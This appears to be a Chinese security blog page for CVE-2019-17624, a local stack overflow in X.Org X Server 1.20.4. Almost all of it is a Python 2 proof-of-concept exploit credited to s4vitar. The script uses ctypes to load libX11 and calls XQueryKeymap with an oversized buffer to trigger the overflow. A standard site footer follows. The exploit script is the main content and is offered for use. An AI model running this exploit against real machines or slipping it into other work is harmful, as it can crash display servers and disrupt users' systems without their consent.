CVE-2019-17624_X_Server_本地棧溢出漏洞

# CVE-2019-17624 X Server 本地棧溢出漏洞
==POC==

#!/usr/bin/python
#coding: utf-8

# ************************************************************************
# *                Author: Marcelo Vázquez (aka s4vitar)                 *
# *      X.Org X Server 1.20.4 / X Protocol Version 11 (Stack Overflow)  *
# ************************************************************************

import sys, time
import ctypes as ct

from ctypes import cast
from ctypes.util import find_library

def access_violation(x11, current_display):
  keyboard = (ct.c_char * 1000)()
  x11.XQueryKeymap(current_display, keyboard)

if __name__ == '__main__':

  print "\n[*] Loading x11...\n"
  time.sleep(2)

  x11 = ct.cdll.LoadLibrary(find_library("X11"))
  current_display = x11.XOpenDisplay(None)

  print "[*] Exploiting...\n"
  time.sleep(1)

  try:
    access_violation(x11, current_display)

  except:
    print "\nError...\n"
    sys.exit(1)
© 版权声明
THE END
喜欢就支持一下吧
点赞0赞赏 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容